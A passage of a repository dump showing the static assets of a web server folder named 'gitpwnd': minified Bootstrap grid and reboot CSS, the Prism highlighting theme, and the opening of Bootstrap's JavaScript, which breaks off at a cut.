(min-width:1200px){.row{margin-right:-15px;margin-left:-15px}}.no-gutters{margin-right:0;margin-left:0}.no-gutters>.col,.no-gutters>[class*=col-]{padding-right:0;padding-left:0}.col,.col-1,.col-10,.col-11,.col-12,.col-2,.col-3,.col-4,.col-5,.col-6,.col-7,.col-8,.col-9,.col-lg,.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-md,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-sm,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-xl,.col-xl-1,.col-xl-10,.col-xl-11,.col-xl-12,.col-xl-2,.col-xl-3,.col-xl-4,.col-xl-5,.col-xl-6,.col-xl-7,.col-xl-8,.col-xl-9{position:relative;width:100%;min-height:1px;padding-right:15px;padding-left:15px}@media (min-width:576px){.col,.col-1,.col-10,.col-11,.col-12,.col-2,.col-3,.col-4,.col-5,.col-6,.col-7,.col-8,.col-9,.col-lg,.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-md,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-sm,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-xl,.col-xl-1,.col-xl-10,.col-xl-11,.col-xl-12,.col-xl-2,.col-xl-3,.col-xl-4,.col-xl-5,.col-xl-6,.col-xl-7,.col-xl-8,.col-xl-9{padding-right:15px;padding-left:15px}}@media (min-width:768px){.col,.col-1,.col-10,.col-11,.col-12,.col-2,.col-3,.col-4,.col-5,.col-6,.col-7,.col-8,.col-9,.col-lg,.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-md,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-sm,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-xl,.col-xl-1,.col-xl-10,.col-xl-11,.col-xl-12,.col-xl-2,.col-xl-3,.col-xl-4,.col-xl-5,.col-xl-6,.col-xl-7,.col-xl-8,.col-xl-9{padding-right:15px;padding-left:15px}}@media (min-width:992px){.col,.col-1,.col-10,.col-11,.col-12,.col-2,.col-3,.col-4,.col-5,.col-6,.col-7,.col-8,.col-9,.col-lg,.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-md,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-sm,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-xl,.col-xl-1,.col-xl-10,.col-xl-11,.col-xl-12,.col-xl-2,.col-xl-3,.col-xl-4,.col-xl-5,.col-xl-6,.col-xl-7,.col-xl-8,.col-xl-9{padding-right:15px;padding-left:15px}}@media (min-width:1200px){.col,.col-1,.col-10,.col-11,.col-12,.col-2,.col-3,.col-4,.col-5,.col-6,.col-7,.col-8,.col-9,.col-lg,.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-md,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-sm,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-xl,.col-xl-1,.col-xl-10,.col-xl-11,.col-xl-12,.col-xl-2,.col-xl-3,.col-xl-4,.col-xl-5,.col-xl-6,.col-xl-7,.col-xl-8,.col-xl-9{padding-right:15px;padding-left:15px}}.col{-webkit-flex-basis:0;-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-auto{-webkit-box-flex:0;-webkit-flex:0 0 auto;-ms-flex:0 0 auto;flex:0 0 auto;width:auto}.col-1{-webkit-box-flex:0;-webkit-flex:0 0 8.333333%;-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-2{-webkit-box-flex:0;-webkit-flex:0 0 16.666667%;-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-3{-webkit-box-flex:0;-webkit-flex:0 0 25%;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-4{-webkit-box-flex:0;-webkit-flex:0 0 33.333333%;-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-5{-webkit-box-flex:0;-webkit-flex:0 0 41.666667%;-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-6{-webkit-box-flex:0;-webkit-flex:0 0 50%;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-7{-webkit-box-flex:0;-webkit-flex:0 0 58.333333%;-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-8{-webkit-box-flex:0;-webkit-flex:0 0 66.666667%;-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-9{-webkit-box-flex:0;-webkit-flex:0 0 75%;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-10{-webkit-box-flex:0;-webkit-flex:0 0 83.333333%;-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-11{-webkit-box-flex:0;-webkit-flex:0 0 91.666667%;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-12{-webkit-box-flex:0;-webkit-flex:0 0 100%;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.pull-0{right:auto}.pull-1{right:8.333333%}.pull-2{right:16.666667%}.pull-3{right:25%}.pull-4{right:33.333333%}.pull-5{right:41.666667%}.pull-6{right:50%}.pull-7{right:58.333333%}.pull-8{right:66.666667%}.pull-9{right:75%}.pull-10{right:83.333333%}.pull-11{right:91.666667%}.pull-12{right:100%}.push-0{left:auto}.push-1{left:8.333333%}.push-2{left:16.666667%}.push-3{left:25%}.push-4{left:33.333333%}.push-5{left:41.666667%}.push-6{left:50%}.push-7{left:58.333333%}.push-8{left:66.666667%}.push-9{left:75%}.push-10{left:83.333333%}.push-11{left:91.666667%}.push-12{left:100%}.offset-1{margin-left:8.333333%}.offset-2{margin-left:16.666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.333333%}.offset-5{margin-left:41.666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.333333%}.offset-8{margin-left:66.666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.333333%}.offset-11{margin-left:91.666667%}@media (min-width:576px){.col-sm{-webkit-flex-basis:0;-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-sm-auto{-webkit-box-flex:0;-webkit-flex:0 0 auto;-ms-flex:0 0 auto;flex:0 0 auto;width:auto}.col-sm-1{-webkit-box-flex:0;-webkit-flex:0 0 8.333333%;-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-sm-2{-webkit-box-flex:0;-webkit-flex:0 0 16.666667%;-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-sm-3{-webkit-box-flex:0;-webkit-flex:0 0 25%;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-sm-4{-webkit-box-flex:0;-webkit-flex:0 0 33.333333%;-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-sm-5{-webkit-box-flex:0;-webkit-flex:0 0 41.666667%;-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-sm-6{-webkit-box-flex:0;-webkit-flex:0 0 50%;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-sm-7{-webkit-box-flex:0;-webkit-flex:0 0 58.333333%;-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-sm-8{-webkit-box-flex:0;-webkit-flex:0 0 66.666667%;-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-sm-9{-webkit-box-flex:0;-webkit-flex:0 0 75%;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-sm-10{-webkit-box-flex:0;-webkit-flex:0 0 83.333333%;-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-sm-11{-webkit-box-flex:0;-webkit-flex:0 0 91.666667%;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-sm-12{-webkit-box-flex:0;-webkit-flex:0 0 100%;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.pull-sm-0{right:auto}.pull-sm-1{right:8.333333%}.pull-sm-2{right:16.666667%}.pull-sm-3{right:25%}.pull-sm-4{right:33.333333%}.pull-sm-5{right:41.666667%}.pull-sm-6{right:50%}.pull-sm-7{right:58.333333%}.pull-sm-8{right:66.666667%}.pull-sm-9{right:75%}.pull-sm-10{right:83.333333%}.pull-sm-11{right:91.666667%}.pull-sm-12{right:100%}.push-sm-0{left:auto}.push-sm-1{left:8.333333%}.push-sm-2{left:16.666667%}.push-sm-3{left:25%}.push-sm-4{left:33.333333%}.push-sm-5{left:41.666667%}.push-sm-6{left:50%}.push-sm-7{left:58.333333%}.push-sm-8{left:66.666667%}.push-sm-9{left:75%}.push-sm-10{left:83.333333%}.push-sm-11{left:91.666667%}.push-sm-12{left:100%}.offset-sm-0{margin-left:0}.offset-sm-1{margin-left:8.333333%}.offset-sm-2{margin-left:16.666667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:33.333333%}.offset-sm-5{margin-left:41.666667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.333333%}.offset-sm-8{margin-left:66.666667%}.offset-sm-9{margin-left:75%}.offset-sm-10{margin-left:83.333333%}.offset-sm-11{margin-left:91.666667%}}@media (min-width:768px){.col-md{-webkit-flex-basis:0;-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-md-auto{-webkit-box-flex:0;-webkit-flex:0 0 auto;-ms-flex:0 0 auto;flex:0 0 auto;width:auto}.col-md-1{-webkit-box-flex:0;-webkit-flex:0 0 8.333333%;-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-md-2{-webkit-box-flex:0;-webkit-flex:0 0 16.666667%;-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-md-3{-webkit-box-flex:0;-webkit-flex:0 0 25%;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-md-4{-webkit-box-flex:0;-webkit-flex:0 0 33.333333%;-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-md-5{-webkit-box-flex:0;-webkit-flex:0 0 41.666667%;-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-md-6{-webkit-box-flex:0;-webkit-flex:0 0 50%;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-md-7{-webkit-box-flex:0;-webkit-flex:0 0 58.333333%;-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-md-8{-webkit-box-flex:0;-webkit-flex:0 0 66.666667%;-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-md-9{-webkit-box-flex:0;-webkit-flex:0 0 75%;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-md-10{-webkit-box-flex:0;-webkit-flex:0 0 83.333333%;-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-md-11{-webkit-box-flex:0;-webkit-flex:0 0 91.666667%;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-md-12{-webkit-box-flex:0;-webkit-flex:0 0 100%;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.pull-md-0{right:auto}.pull-md-1{right:8.333333%}.pull-md-2{right:16.666667%}.pull-md-3{right:25%}.pull-md-4{right:33.333333%}.pull-md-5{right:41.666667%}.pull-md-6{right:50%}.pull-md-7{right:58.333333%}.pull-md-8{right:66.666667%}.pull-md-9{right:75%}.pull-md-10{right:83.333333%}.pull-md-11{right:91.666667%}.pull-md-12{right:100%}.push-md-0{left:auto}.push-md-1{left:8.333333%}.push-md-2{left:16.666667%}.push-md-3{left:25%}.push-md-4{left:33.333333%}.push-md-5{left:41.666667%}.push-md-6{left:50%}.push-md-7{left:58.333333%}.push-md-8{left:66.666667%}.push-md-9{left:75%}.push-md-10{left:83.333333%}.push-md-11{left:91.666667%}.push-md-12{left:100%}.offset-md-0{margin-left:0}.offset-md-1{margin-left:8.333333%}.offset-md-2{margin-left:16.666667%}.offset-md-3{margin-left:25%}.offset-md-4{margin-left:33.333333%}.offset-md-5{margin-left:41.666667%}.offset-md-6{margin-left:50%}.offset-md-7{margin-left:58.333333%}.offset-md-8{margin-left:66.666667%}.offset-md-9{margin-left:75%}.offset-md-10{margin-left:83.333333%}.offset-md-11{margin-left:91.666667%}}@media (min-width:992px){.col-lg{-webkit-flex-basis:0;-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-lg-auto{-webkit-box-flex:0;-webkit-flex:0 0 auto;-ms-flex:0 0 auto;flex:0 0 auto;width:auto}.col-lg-1{-webkit-box-flex:0;-webkit-flex:0 0 8.333333%;-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-lg-2{-webkit-box-flex:0;-webkit-flex:0 0 16.666667%;-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-lg-3{-webkit-box-flex:0;-webkit-flex:0 0 25%;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-lg-4{-webkit-box-flex:0;-webkit-flex:0 0 33.333333%;-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-lg-5{-webkit-box-flex:0;-webkit-flex:0 0 41.666667%;-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-lg-6{-webkit-box-flex:0;-webkit-flex:0 0 50%;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-lg-7{-webkit-box-flex:0;-webkit-flex:0 0 58.333333%;-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-lg-8{-webkit-box-flex:0;-webkit-flex:0 0 66.666667%;-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-lg-9{-webkit-box-flex:0;-webkit-flex:0 0 75%;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-lg-10{-webkit-box-flex:0;-webkit-flex:0 0 83.333333%;-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-lg-11{-webkit-box-flex:0;-webkit-flex:0 0 91.666667%;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-lg-12{-webkit-box-flex:0;-webkit-flex:0 0 100%;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.pull-lg-0{right:auto}.pull-lg-1{right:8.333333%}.pull-lg-2{right:16.666667%}.pull-lg-3{right:25%}.pull-lg-4{right:33.333333%}.pull-lg-5{right:41.666667%}.pull-lg-6{right:50%}.pull-lg-7{right:58.333333%}.pull-lg-8{right:66.666667%}.pull-lg-9{right:75%}.pull-lg-10{right:83.333333%}.pull-lg-11{right:91.666667%}.pull-lg-12{right:100%}.push-lg-0{left:auto}.push-lg-1{left:8.333333%}.push-lg-2{left:16.666667%}.push-lg-3{left:25%}.push-lg-4{left:33.333333%}.push-lg-5{left:41.666667%}.push-lg-6{left:50%}.push-lg-7{left:58.333333%}.push-lg-8{left:66.666667%}.push-lg-9{left:75%}.push-lg-10{left:83.333333%}.push-lg-11{left:91.666667%}.push-lg-12{left:100%}.offset-lg-0{margin-left:0}.offset-lg-1{margin-left:8.333333%}.offset-lg-2{margin-left:16.666667%}.offset-lg-3{margin-left:25%}.offset-lg-4{margin-left:33.333333%}.offset-lg-5{margin-left:41.666667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.333333%}.offset-lg-8{margin-left:66.666667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.333333%}.offset-lg-11{margin-left:91.666667%}}@media (min-width:1200px){.col-xl{-webkit-flex-basis:0;-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-xl-auto{-webkit-box-flex:0;-webkit-flex:0 0 auto;-ms-flex:0 0 auto;flex:0 0 auto;width:auto}.col-xl-1{-webkit-box-flex:0;-webkit-flex:0 0 8.333333%;-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-xl-2{-webkit-box-flex:0;-webkit-flex:0 0 16.666667%;-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-xl-3{-webkit-box-flex:0;-webkit-flex:0 0 25%;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-xl-4{-webkit-box-flex:0;-webkit-flex:0 0 33.333333%;-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-xl-5{-webkit-box-flex:0;-webkit-flex:0 0 41.666667%;-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-xl-6{-webkit-box-flex:0;-webkit-flex:0 0 50%;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-xl-7{-webkit-box-flex:0;-webkit-flex:0 0 58.333333%;-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-xl-8{-webkit-box-flex:0;-webkit-flex:0 0 66.666667%;-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-xl-9{-webkit-box-flex:0;-webkit-flex:0 0 75%;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-xl-10{-webkit-box-flex:0;-webkit-flex:0 0 83.333333%;-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-xl-11{-webkit-box-flex:0;-webkit-flex:0 0 91.666667%;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-xl-12{-webkit-box-flex:0;-webkit-flex:0 0 100%;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.pull-xl-0{right:auto}.pull-xl-1{right:8.333333%}.pull-xl-2{right:16.666667%}.pull-xl-3{right:25%}.pull-xl-4{right:33.333333%}.pull-xl-5{right:41.666667%}.pull-xl-6{right:50%}.pull-xl-7{right:58.333333%}.pull-xl-8{right:66.666667%}.pull-xl-9{right:75%}.pull-xl-10{right:83.333333%}.pull-xl-11{right:91.666667%}.pull-xl-12{right:100%}.push-xl-0{left:auto}.push-xl-1{left:8.333333%}.push-xl-2{left:16.666667%}.push-xl-3{left:25%}.push-xl-4{left:33.333333%}.push-xl-5{left:41.666667%}.push-xl-6{left:50%}.push-xl-7{left:58.333333%}.push-xl-8{left:66.666667%}.push-xl-9{left:75%}.push-xl-10{left:83.333333%}.push-xl-11{left:91.666667%}.push-xl-12{left:100%}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.333333%}.offset-xl-2{margin-left:16.666667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.333333%}.offset-xl-5{margin-left:41.666667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.333333%}.offset-xl-8{margin-left:66.666667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.333333%}.offset-xl-11{margin-left:91.666667%}}/*# sourceMappingURL=bootstrap-grid.min.css.map */ -------------------------------------------------------------------------------- /server/gitpwnd/static/css/bootstrap-reboot.min.css: -------------------------------------------------------------------------------- 1 | /*! normalize.css v5.0.0 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;line-height:1.15;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,footer,header,nav,section{display:block}h1{font-size:2em;margin:.67em 0}figcaption,figure,main{display:block}figure{margin:1em 40px}hr{-webkit-box-sizing:content-box;box-sizing:content-box;height:0;overflow:visible}pre{font-family:monospace,monospace;font-size:1em}a{background-color:transparent;-webkit-text-decoration-skip:objects}a:active,a:hover{outline-width:0}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:inherit}b,strong{font-weight:bolder}code,kbd,samp{font-family:monospace,monospace;font-size:1em}dfn{font-style:italic}mark{background-color:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}audio,video{display:inline-block}audio:not([controls]){display:none;height:0}img{border-style:none}svg:not(:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{border-style:none;padding:0}[type=button]:-moz-focusring,[type=reset]:-moz-focusring,[type=submit]:-moz-focusring,button:-moz-focusring{outline:1px dotted ButtonText}fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}legend{-webkit-box-sizing:border-box;box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}progress{display:inline-block;vertical-align:baseline}textarea{overflow:auto}[type=checkbox],[type=radio]{-webkit-box-sizing:border-box;box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}details,menu{display:block}summary{display:list-item}canvas{display:inline-block}template{display:none}[hidden]{display:none}html{-webkit-box-sizing:border-box;box-sizing:border-box}*,::after,::before{-webkit-box-sizing:inherit;box-sizing:inherit}@-ms-viewport{width:device-width}html{-ms-overflow-style:scrollbar;-webkit-tap-highlight-color:transparent}body{font-family:-apple-system,system-ui,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif;font-size:1rem;font-weight:400;line-height:1.5;color:#292b2c;background-color:#fff}[tabindex="-1"]:focus{outline:0!important}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem}p{margin-top:0;margin-bottom:1rem}abbr[data-original-title],abbr[title]{cursor:help}address{margin-bottom:1rem;font-style:normal;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}a{color:#0275d8;text-decoration:none}a:focus,a:hover{color:#014c8c;text-decoration:underline}a:not([href]):not([tabindex]){color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus,a:not([href]):not([tabindex]):hover{color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus{outline:0}pre{margin-top:0;margin-bottom:1rem;overflow:auto}figure{margin:0 0 1rem}img{vertical-align:middle}[role=button]{cursor:pointer}[role=button],a,area,button,input,label,select,summary,textarea{-ms-touch-action:manipulation;touch-action:manipulation}table{border-collapse:collapse;background-color:transparent}caption{padding-top:.75rem;padding-bottom:.75rem;color:#636c72;text-align:left;caption-side:bottom}th{text-align:left}label{display:inline-block;margin-bottom:.5rem}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}button,input,select,textarea{line-height:inherit}input[type=checkbox]:disabled,input[type=radio]:disabled{cursor:not-allowed}input[type=date],input[type=time],input[type=datetime-local],input[type=month]{-webkit-appearance:listbox}textarea{resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;padding:0;margin-bottom:.5rem;font-size:1.5rem;line-height:inherit}input[type=search]{-webkit-appearance:none}output{display:inline-block}[hidden]{display:none!important}/*# sourceMappingURL=bootstrap-reboot.min.css.map */ -------------------------------------------------------------------------------- /server/gitpwnd/static/css/prism.css: -------------------------------------------------------------------------------- 1 | /* http://prismjs.com/download.html?themes=prism&languages=markup+css+clike+javascript+json */ 2 | /** 3 | * prism.js default theme for JavaScript, CSS and HTML 4 | * Based on dabblet (http://dabblet.com) 5 | * @author Lea Verou 6 | */ 7 | 8 | code[class*="language-"], 9 | pre[class*="language-"] { 10 | color: black; 11 | background: none; 12 | text-shadow: 0 1px white; 13 | font-family: Consolas, Monaco, 'Andale Mono', 'Ubuntu Mono', monospace; 14 | text-align: left; 15 | white-space: pre; 16 | word-spacing: normal; 17 | word-break: normal; 18 | word-wrap: normal; 19 | line-height: 1.5; 20 | 21 | -moz-tab-size: 4; 22 | -o-tab-size: 4; 23 | tab-size: 4; 24 | 25 | -webkit-hyphens: none; 26 | -moz-hyphens: none; 27 | -ms-hyphens: none; 28 | hyphens: none; 29 | } 30 | 31 | pre[class*="language-"]::-moz-selection, pre[class*="language-"] ::-moz-selection, 32 | code[class*="language-"]::-moz-selection, code[class*="language-"] ::-moz-selection { 33 | text-shadow: none; 34 | background: #b3d4fc; 35 | } 36 | 37 | pre[class*="language-"]::selection, pre[class*="language-"] ::selection, 38 | code[class*="language-"]::selection, code[class*="language-"] ::selection { 39 | text-shadow: none; 40 | background: #b3d4fc; 41 | } 42 | 43 | @media print { 44 | code[class*="language-"], 45 | pre[class*="language-"] { 46 | text-shadow: none; 47 | } 48 | } 49 | 50 | /* Code blocks */ 51 | pre[class*="language-"] { 52 | padding: 1em; 53 | margin: .5em 0; 54 | overflow: auto; 55 | } 56 | 57 | :not(pre) > code[class*="language-"], 58 | pre[class*="language-"] { 59 | background: #f5f2f0; 60 | } 61 | 62 | /* Inline code */ 63 | :not(pre) > code[class*="language-"] { 64 | padding: .1em; 65 | border-radius: .3em; 66 | white-space: normal; 67 | } 68 | 69 | .token.comment, 70 | .token.prolog, 71 | .token.doctype, 72 | .token.cdata { 73 | color: slategray; 74 | } 75 | 76 | .token.punctuation { 77 | color: #999; 78 | } 79 | 80 | .namespace { 81 | opacity: .7; 82 | } 83 | 84 | .token.property, 85 | .token.tag, 86 | .token.boolean, 87 | .token.number, 88 | .token.constant, 89 | .token.symbol, 90 | .token.deleted { 91 | color: #905; 92 | } 93 | 94 | .token.selector, 95 | .token.attr-name, 96 | .token.string, 97 | .token.char, 98 | .token.builtin, 99 | .token.inserted { 100 | color: #690; 101 | } 102 | 103 | .token.operator, 104 | .token.entity, 105 | .token.url, 106 | .language-css .token.string, 107 | .style .token.string { 108 | color: #a67f59; 109 | background: hsla(0, 0%, 100%, .5); 110 | } 111 | 112 | .token.atrule, 113 | .token.attr-value, 114 | .token.keyword { 115 | color: #07a; 116 | } 117 | 118 | .token.function { 119 | color: #DD4A68; 120 | } 121 | 122 | .token.regex, 123 | .token.important, 124 | .token.variable { 125 | color: #e90; 126 | } 127 | 128 | .token.important, 129 | .token.bold { 130 | font-weight: bold; 131 | } 132 | .token.italic { 133 | font-style: italic; 134 | } 135 | 136 | .token.entity { 137 | cursor: help; 138 | } 139 | 140 | -------------------------------------------------------------------------------- /server/gitpwnd/static/js/bootstrap.min.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * Bootstrap v4.0.0-alpha.6 (https://getbootstrap.com) 3 | * Copyright 2011-2017 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) 4 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) 5 | */ 6 | if("undefined"==typeof jQuery)throw new Error("Bootstrap's JavaScript requires jQuery. jQuery must be included before Bootstrap's JavaScript.");+function(t){var e=t.fn.jquery.split(" ")[0].split(".");if(e[0]<2&&e[1]<9||1==e[0]&&9==e[1]&&e[2]<1||e[0]>=4)throw new Error("Bootstrap's JavaScript requires at least jQuery v1.9.1 but less than v4.0.0")}(jQuery),+function(){function t(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof 